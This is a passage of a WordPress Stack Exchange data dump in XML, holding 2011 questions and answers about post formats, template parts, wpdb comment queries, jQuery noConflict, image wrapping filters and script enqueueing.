  <row Id="20985" PostTypeId="2" ParentId="20984" CreationDate="2011-06-24T21:11:11.007" Score="0" ViewCount="" Body="&lt;p&gt;This one's an easy fix! The first argument in &lt;code&gt;has_post_format()&lt;/code&gt; is a string in the format &lt;code&gt;post-format-{type}&lt;/code&gt;, e.g. &lt;code&gt;post-format-aside&lt;/code&gt;, or &lt;code&gt;post-format-gallery&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, e.g., change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;has_post_format( 'aside' , $post_id )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;has_post_format( 'post-format-aside' , $post_id )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wash, rinse, and repeat for all uses of &lt;code&gt;has_post_format()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given your example code, I would even suggest another potential option, combining &lt;code&gt;get_template_part()&lt;/code&gt; and &lt;code&gt;get_post_format()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create template part files &lt;code&gt;entry-aside.php&lt;/code&gt; and &lt;code&gt;entry-gallery.php&lt;/code&gt;, along with a default, &lt;code&gt;entry.php&lt;/code&gt;, then:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Move this code to &lt;code&gt;entry-aside.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_excerpt(__('Continue Reading &amp;amp;rarr;', 'wptumble-fluid'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Move this code to &lt;code&gt;entry-gallery.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_post_thumbnail() ) {&#xA;    // use the thumbnail (&quot;featured image&quot;)&#xA;    $thumb_id = get_post_thumbnail_id();&#xA;    the_post_thumbnail( 'thumbnail' ); &#xA;} else {&#xA;    $attachments = get_children( array(&#xA;        'post_parent' =&amp;gt; get_the_ID(),&#xA;        'post_status' =&amp;gt; 'inherit',&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'post_mime_type' =&amp;gt; 'image',&#xA;        'order' =&amp;gt; 'ASC',&#xA;        'orderby' =&amp;gt; 'menu_order ID',&#xA;        'numberposts' =&amp;gt; 1)&#xA;    );&#xA;    foreach ( $attachments as $thumb_id =&amp;gt; $attachment )&#xA;        echo wp_get_attachment_image($thumb_id, 'thumbnail' ); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) Move this code to &lt;code&gt;entry.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $fluidtheme_options['fluid_post_content'] == &quot;content&quot; ) the_content(__('Continue Reading &amp;amp;rarr;', 'wptumble-fluid')); else the_excerpt();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4) Replace that entire if/else conditional block with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_template_part( 'entry', get_post_format() );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, it might be overkill for your current use case - but the advantage is that, if in the future you decide to support other post format types, you simply have to add &lt;code&gt;entry-{type}.php&lt;/code&gt;, and your template will already be set up to support it! For example, if you add support for quotes, simply add &lt;code&gt;entry-quote.php&lt;/code&gt;, with whatever appropriate code, and you don't have to change any existing code.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-25T01:33:51.460" LastActivityDate="2011-06-25T01:33:51.460" CommentCount="3" />
  <row Id="20986" PostTypeId="2" ParentId="20984" CreationDate="2011-06-24T21:59:14.633" Score="0" ViewCount="" Body="&lt;p&gt;I like to use get_post_format for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( 'gallery' == get_post_format() ) {&#xA;    print 'TACO PARTY!!!';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-06-24T21:59:14.633" CommentCount="1" />
  <row Id="20987" PostTypeId="1" CreationDate="2011-06-24T22:42:05.543" Score="1" ViewCount="51" Body="&lt;p&gt;I have SQL file with US zip codes (over 41000 lines of code). I want make a plugin that inserts this SQL file into WP database so user can do a search by zip codes. I want to insert SQL with PHP rather than PhpMyAdmin&lt;/p&gt;&#xA;" OwnerUserId="4678" LastActivityDate="2011-08-26T14:35:03.440" Title="How to add SQL file with PHP to WordPress database" Tags="&lt;plugin-development&gt;&lt;sql&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20988" PostTypeId="2" ParentId="20987" CreationDate="2011-06-24T22:46:55.017" Score="0" ViewCount="" Body="&lt;p&gt;See the WordPress Codex on &lt;a href=&quot;http://codex.wordpress.org/Creating_Tables_with_Plugins&quot; rel=&quot;nofollow&quot;&gt;Creating Tables with Plugins.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-24T22:46:55.017" CommentCount="4" />
  <row Id="20989" PostTypeId="1" CreationDate="2011-06-25T00:23:27.203" Score="0" ViewCount="34" Body="&lt;p&gt;I am modifying the Seven Five theme to fit my liking more and this is what I have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to remove the &quot;X comments&quot; below the &quot;Posted on&quot; bit. However I just can't find which file to change. I have tried blog.php and index.php but none of them is the correct one. Any suggestions? I suppose it is a theme file and not a &quot;core&quot; wordpress one, am I wrong?&lt;/p&gt;&#xA;" OwnerUserId="6486" LastActivityDate="2011-07-25T13:29:16.523" Title="How to remove the &quot;comments&quot; bit that appears next to or below the posts" Tags="&lt;comments&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="20990" PostTypeId="1" AcceptedAnswerId="21010" CreationDate="2011-06-25T00:40:49.403" Score="0" ViewCount="57" Body="&lt;p&gt;How can I update/add a new title, post content, and category to a post with hard PHP code similar to add_post_meta(), update_post_meta()?&lt;/p&gt;&#xA;" OwnerUserId="2194" LastActivityDate="2011-06-25T10:58:02.677" Title="Add title, post content, and category like add_post_meta and update_post_meta" Tags="&lt;categories&gt;&lt;php&gt;&lt;title&gt;&lt;add-action&gt;&lt;description&gt;" AnswerCount="1" />
  <row Id="20991" PostTypeId="2" ParentId="20975" CreationDate="2011-06-25T00:41:40.847" Score="0" ViewCount="" Body="&lt;p&gt;you can use this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if( is_front_page() ):?&amp;gt;&#xA;&amp;lt;div class=&quot;home-page-menu&quot;&amp;gt;&#xA; wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'theme_location' =&amp;gt; 'primary' ) );&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php elseif; ?&amp;gt;&#xA;&amp;lt;div class=&quot;inside-page-menu&quot;&amp;gt;&#xA; wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'theme_location' =&amp;gt; 'primary' ) );&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, you should be change your CSS style for home-page-menu and inside-page-menu .&#xA;for more details about this &lt;code&gt;is_front_page()&lt;/code&gt; follow this link &#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_front_page&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/is_front_page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5456" LastActivityDate="2011-06-25T00:41:40.847" />
  <row Id="20992" PostTypeId="1" AcceptedAnswerId="21106" CreationDate="2011-06-25T01:15:56.027" Score="0" ViewCount="88" Body="&lt;p&gt;When viewing non-custom Posts, you get the likes of this submenu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/MDUzC.png&quot; alt=&quot;submenu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not using a title - I'm using custom columns with two fields concatenated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/4N86p.png&quot; alt=&quot;my species profiles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any quick and easy way of adding the submenu to my custom post columns? Possibly by actually using the 'title' field on my custom post creation page - without having the title input box, as it's unnecessary for my users to see/edit.&lt;/p&gt;&#xA;" OwnerUserId="6344" LastActivityDate="2011-06-26T20:16:58.947" Title="Custom Post Types: Custom columns with Title submenu?" Tags="&lt;custom-post-types&gt;&lt;title&gt;&lt;columns&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="20993" PostTypeId="2" ParentId="20795" CreationDate="2011-06-25T02:49:18.950" Score="1" ViewCount="" Body="&lt;p&gt;Current, WP e-commerce (aka. getshopped) does not play well with any breadcrumb plugin. It will at the best cause the plugin to just display the products page and home breadcrumbs in the trail for a product. At worst, it will confuse custom taxonomy and custom post type aware breadcrumb plugins (Breadcrumb NavXT) and cause errors to be thrown. It is an issue with WP e-commerce and has to do with how they are implementing their permalinks for the custom taxonomies/post types. It does have a built in breadcrumb function, but that may not do what you need (doesn't in my case).&lt;/p&gt;&#xA;" OwnerUserId="1078" LastActivityDate="2011-06-25T02:49:18.950" />
  <row Id="20994" PostTypeId="2" ParentId="20971" CreationDate="2011-06-25T05:41:04.357" Score="0" ViewCount="" Body="&lt;p&gt;Its not very hard actually, wordpress supports multiple loops and query's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to create a secondary (or more) loop is to make an instance of WP Query, &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using that you can make a simple query that gets the posts tags using &lt;code&gt;wp_get_post_tags&lt;/code&gt; &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_post_tags&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_get_post_tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you would throw the code into a widget, &lt;a href=&quot;http://codex.wordpress.org/Widgets_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Widgets_API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-06-25T05:41:04.357" />
  <row Id="20995" PostTypeId="2" ParentId="20963" CreationDate="2011-06-25T05:50:21.123" Score="0" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Reduce image size using Photoshop, smush.it, or any other decent compressor. A decent rule is .jpg for photos with lots of colors and/or details and .gif for text and under 256 colors with less details.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use exact image sizes, if you use php to resize the images make sure they are cached versions of the re-size.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a CDN or a non shared fast host.      &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the user cache the image in his browser by using;&lt;br&gt;&#xA;&lt;code&gt;ExpiresByType image/jpeg &quot;access plus 1 month&quot;&lt;/code&gt;  or&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;FilesMatch &quot;\.(gif|jpg|png|js|css)$&quot;&amp;gt; Expires 2592000&lt;/code&gt; if your on apache ( insert your own numerical values).    &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;By far the most important thing to do is proper compression an sizing.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-06-25T15:33:45.697" LastActivityDate="2011-06-25T15:33:45.697" CommentCount="7" />
  <row Id="20996" PostTypeId="1" AcceptedAnswerId="21006" CreationDate="2011-06-25T06:35:08.703" Score="0" ViewCount="71" Body="&lt;p&gt;I'm trying to do a query on wpdb to get the posts commented on most in the past week...&#xA;Any ideas what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$querystr = &quot;SELECT comment_count, ID, post_title&#xA;        FROM $wpdb-&amp;gt;posts wposts, $wpdb-&amp;gt;comments wcomments&#xA;        WHERE wposts.ID = wcomments.comment_post_ID&#xA;        AND wcomments.comment_date &amp;gt;= CURDATE() - 7 &#xA;        GROUP BY wposts.ID&#xA;        ORDER BY comment_count DESC&#xA;        LIMIT 0 ,  10&#xA; &quot;;&#xA;&#xA; $pageposts = $wpdb-&amp;gt;get_results($querystr);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; Query changed to something that &lt;em&gt;sort of&lt;/em&gt; works I'm still not getting the date range right... it is returning the posts that are most commented on of all time, and not only the posts that have been commented on in the past week.&lt;/p&gt;&#xA;" OwnerUserId="6490" LastEditorUserId="6490" LastEditorDisplayName="" LastEditDate="2011-06-25T09:46:55.510" LastActivityDate="2011-06-25T10:48:23.373" Title="WordPress Custom Query to get Most Commented Posts in the Past 7 Days" Tags="&lt;query-posts&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20997" PostTypeId="2" ParentId="20989" CreationDate="2011-06-25T06:59:40.823" Score="1" ViewCount="" Body="&lt;p&gt;Does your theme have a comments.php, or a loop.php? If you do look inside those files.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-06-25T06:59:40.823" />
  <row Id="20998" PostTypeId="1" AcceptedAnswerId="21003" CreationDate="2011-06-25T07:01:52.347" Score="0" ViewCount="162" Body="&lt;p&gt;&lt;em&gt;In regards to image attachments inserted into a post&lt;/em&gt;, I would like to wrap the &lt;strong&gt;img&lt;/strong&gt; tag inside a &lt;strong&gt;div&lt;/strong&gt; tag for specific design purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this &lt;strong&gt;automatically&lt;/strong&gt; after attaching the image file, like through &lt;em&gt;hooks/filters&lt;/em&gt; maybe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced!!&lt;/p&gt;&#xA;" OwnerUserId="1044" LastActivityDate="2011-07-25T12:29:15.303" Title="Automatically wrap post image in div" Tags="&lt;customization&gt;&lt;attachments&gt;&lt;uploads&gt;&lt;image&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="20999" PostTypeId="2" ParentId="20998" CreationDate="2011-06-25T07:36:13.193" Score="1" ViewCount="" Body="&lt;p&gt;Not looked into hooks and filters, but it is easily achievable by css alone.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;code&gt;2010 theme&lt;/code&gt; and &lt;strong&gt;class=&quot;entry-content&quot;&lt;/strong&gt; as the  css selector &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your stylesheet use:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.entry-content img {  &#xA;/* do all your funky css attributes for the image in here */  &#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-25T07:36:13.193" CommentCount="1" />
  <row Id="21000" PostTypeId="1" AcceptedAnswerId="21002" CreationDate="2011-06-25T07:36:14.663" Score="2" ViewCount="86" Body="&lt;p&gt;The Codex &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#jQuery_noConflict_wrappers&quot; rel=&quot;nofollow&quot;&gt;promotes&lt;/a&gt; this method of using &lt;code&gt;$&lt;/code&gt; inside a plugin/theme JavaScript file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;    // $() will work as an alias for jQuery() inside of this function&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if you do that you only have access to &lt;code&gt;$&lt;/code&gt; inside ready(). I think functions should be broken into small modules which are called from ready(), not all lumped together inside  ready(), so if I use the Codex's method then I have to pass $ to each function, which is annoying and crude. Writing out &lt;code&gt;jQuery&lt;/code&gt; all the time instead of just using &lt;code&gt;$&lt;/code&gt; is also annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can just do &lt;code&gt;$ = jQuery.noConflict();&lt;/code&gt; at the start of my JavaScript file and then &lt;code&gt;$&lt;/code&gt; is available everywhere, but I suspect that that might cause problems with other plugins/themes in some situations. My searches haven't turned up any thorough explanations or definitive answers. Does anyone have any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="3898" LastActivityDate="2011-06-25T09:27:34.063" Title="Making $ globally accessible with jQuery.noConflict()" Tags="&lt;jquery&gt;&lt;best-practices&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="21001" PostTypeId="2" ParentId="20389" CreationDate="2011-06-25T08:45:40.260" Score="0" ViewCount="" Body="&lt;p&gt;there is a get_shortcode_regex() function in wp-include/shortcodes.php. It is used by do_shortcode() and others. It's fairly easy to adopt the regex expression.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;&#xA;$tags = array();&#xA;$pattern = '(.?)\[(translate)\b\s+(.*?)(?:(\/))?\](?:(.+?)\[\/translate\])?(.?)';&#xA;$pattern = &quot;/$pattern/s&quot;;&#xA;preg_match_all($pattern, $post-&amp;gt;post_content, &amp;amp;$tags, PREG_SET_ORDER);&#xA;&#xA;foreach ($tags as $t ){&#xA;&#xA;// iterate over tags... &#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6248" LastActivityDate="2011-06-25T08:45:40.260" />
  <row Id="21002" PostTypeId="2" ParentId="21000" CreationDate="2011-06-25T09:27:34.063" Score="3" ViewCount="" Body="&lt;p&gt;You don't need &lt;code&gt;$ = jQuery.noConflict();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wrap any functions outside document.ready() within:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($){  &#xA;  // use $ here safely&#xA;})(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-25T09:27:34.063" CommentCount="11" />
  <row Id="21003" PostTypeId="2" ParentId="20998" CreationDate="2011-06-25T09:50:20.307" Score="2" ViewCount="" Body="&lt;p&gt;It's the &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-admin/includes/media.php#L103&quot; rel=&quot;nofollow&quot;&gt;image_send_to_editor&lt;/a&gt; filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_admin()){&#xA;&#xA;  add_filter('image_send_to_editor', 'wrap_my_div', 10, 8);&#xA;&#xA;  function wrap_my_div($html, $id, $caption, $title, $align, $url, $size, $alt){&#xA;    return '&amp;lt;div class=&quot;mydiv&quot; id=&quot;mydiv-'.$id.'&quot;&amp;gt;'.$html.'&amp;lt;/div&amp;gt;';&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For existing images/posts you can try the regex in the function below&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-25T09:50:20.307" CommentCount="1" />
  <row Id="21004" PostTypeId="1" CreationDate="2011-06-25T09:05:58.117" Score="0" ViewCount="69" Body="&lt;p&gt;I am using the following permalinks structure: /%postname%/ and I also have some multi-page posts that look like /%postname%/2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is I see a lot of 404 errors in webmaster tools for urls like /post-name/random stuff here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I redirect all wrong URLs to the correct ones ?&lt;/p&gt;&#xA;" OwnerUserId="5810" LastActivityDate="2011-06-25T13:20:32.750" Title="Redirect wrong links Wordpress" Tags="&lt;htaccess&gt;&lt;redirect&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="21005" PostTypeId="2" ParentId="21004" CreationDate="2011-06-25T09:13:29.053" Score="1" ViewCount="" Body="&lt;p&gt;I don't have a webserver to test this with, but the following should work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your wordpress theme, you can create a &lt;code&gt;404.php&lt;/code&gt; file, which will be used when a 404 response is triggered. Inside this file, you could check the &lt;code&gt;HTTP_REFERRER&lt;/code&gt; header entry - if it follows the format &lt;code&gt;/post-name/[nonsensical stuff]&lt;/code&gt;, you could then redirect the browser to &lt;code&gt;/post-name/&lt;/code&gt;. Or simply provide a link with a message saying &quot;couldn't find exactly what you requested, but we think this might be it&quot;.&lt;/p&gt;&#xA;" LastActivityDate="2011-06-25T09:19:02.020" />
  <row Id="21006" PostTypeId="2" ParentId="20996" CreationDate="2011-06-25T10:48:23.373" Score="0" ViewCount="" Body="&lt;p&gt;This should do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$querystr = &quot;SELECT comment_count, ID, post_title&#xA;        FROM $wpdb-&amp;gt;posts wposts, $wpdb-&amp;gt;comments wcomments&#xA;        WHERE wposts.ID = wcomments.comment_post_ID&#xA;        AND wposts.post_status='publish'&#xA;        AND wcomments.comment_approved='1'&#xA;        AND wcomments.comment_date &amp;gt; DATE_SUB(CURRENT_TIMESTAMP, INTERVAL 1 YEAR) &#xA;        GROUP BY wposts.ID&#xA;        ORDER BY comment_count DESC&#xA;        LIMIT 0 ,  10&#xA; &quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2165" LastActivityDate="2011-06-25T10:48:23.373" />
  <row Id="21007" PostTypeId="1" AcceptedAnswerId="21009" CreationDate="2011-03-21T23:55:18.580" Score="2" ViewCount="271" Body="&lt;p&gt;I've read the codex section on wp-enqeue, but am still struggling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I would like to get the following to display properly in my theme's widget area (on every page):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/wp-content/uploads/social_counter/css/styles.css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/wp-content/uploads/social_counter/css/tipTip.css&quot; /&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;social_counter&quot;&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;/wp-content/uploads/social_counter/js/jquery.tipTip.minified.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;/wp-content/uploads/social_counter/js/social_counter.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I created a text widget into which I pasted the code, but it breaks a few things in the template as there is likely a conflict since jquery is already loaded by the theme and/ or other plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone show me how to best form this using wp_enqueue, and where to paste the subsequent code (functions.php of theme?)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!is_admin()){&#xA;wp_deregister_script( 'jquery' );&#xA;wp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js');&#xA;wp_enqueue_script('custom_script',get_bloginfo('wpurl').'/wp-content/uploads/social_counter/js/jquery.tipTip.minified.js',false);&#xA;wp_enqueue_script('custom_script',get_bloginfo('wpurl').'/wp-content/uploads/social_counter/js/social_counter.js',array('jquery'),'1.4.2',false);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seem to load two of the scripts when I view the page source, but not the google jquery, and the content does not show... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now i have the following, still nothing (two scripts show up, but not the google jquery):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_deregister_script( 'jquery' );&#xA;wp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js');&#xA;wp_enqueue_script( 'jquery' );&#xA;wp_enqueue_script('custom_script',get_bloginfo('wpurl').'/wp-content/uploads/social_counter/js/jquery.tipTip.minified.js',false);&#xA;wp_enqueue_script('custom_script',get_bloginfo('wpurl').'/wp-content/uploads/social_counter/js/social_counter.js',array('jquery'),'1.4.2',false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Latest Edit.. (i really wish stack overflow would adopt a mroe user-friendly threading system :/ )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_scripts(){&#xA;// Load jQuery&#xA;if ( !is_admin() ) {&#xA;   wp_deregister_script('jquery');&#xA;   wp_register_script('jquery', (&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js&quot;), false);&#xA;   wp_enqueue_script('jquery');&#xA;}&#xA;// Your Scripts&#xA;wp_enqueue_script('custom_script',get_bloginfo('wpurl').'/wp-content/uploads/social_counter/js/jquery.tipTip.minified.js',false);&#xA;wp_enqueue_script('custom_script',get_bloginfo('wpurl').'/wp-content/uploads/social_counter/js/social_counter.js',array('jquery'),'1.4.2',false);&#xA;}&#xA;add_action('init','add_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4822" LastActivityDate="2011-06-25T10:49:16.103" Title="trying to enqueue script in wordpress" Tags="&lt;javascript&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="21008" PostTypeId="2" ParentId="21007" CreationDate="2011-03-22T00:53:00.277" Score="1" ViewCount="" Body="&lt;p&gt;Best place is in your &lt;strong&gt;functions.php&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script(&quot;name&quot;, (&quot;path/to/file&quot;), false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The false array will enqueue the script into the header, where you define &lt;code&gt;wp_header();&lt;/code&gt; - If you set it to true, it will enqueue the script into your footer where you define &lt;code&gt;wp_footer();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('yourscriptname', get_bloginfo('stylesheet_directory') . '/js/jsyourscript.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your revised post you have this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!is_admin()){&#xA;wp_deregister_script( 'jquery' );&#xA;wp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js');&#xA;wp_enqueue_script('custom_script',get_bloginfo('wpurl').'/wp-content/uploads/social_counter/js/jquery.tipTip.minified.js',false);&#xA;wp_enqueue_script('custom_script',get_bloginfo('wpurl').'/wp-content/uploads/social_counter/js/social_counter.js',array('jquery'),'1.4.2',false);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please notice that you've placed the 2 scripts you wish to &lt;em&gt;enqueue&lt;/em&gt; &lt;strong&gt;inside&lt;/strong&gt; the conditional statement that if &lt;strong&gt;not&lt;/strong&gt; admin - &lt;em&gt;do this&lt;/em&gt; -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may be the reason it's not appearing to work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Load jQuery&#xA;if ( !is_admin() ) {&#xA;   wp_deregister_script('jquery');&#xA;   wp_register_script('jquery', (&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js&quot;), false);&#xA;   wp_enqueue_script('jquery');&#xA;}&#xA;// Your Scripts&#xA;wp_enqueue_script('custom_script',get_bloginfo('wpurl').'/wp-content/uploads/social_counter/js/jquery.tipTip.minified.js',false);&#xA;wp_enqueue_script('custom_script2',get_bloginfo('wpurl').'/wp-content/uploads/social_counter/js/social_counter.js',array('jquery'),'1.4.2',false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cleaned it up a little, put the jquery back into the conditional statement also put false onto it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also each new script you enqueue has to have a &lt;strong&gt;unique name&lt;/strong&gt;. Both of yours are called &lt;strong&gt;custom_script&lt;/strong&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-03-22T05:22:05.517" 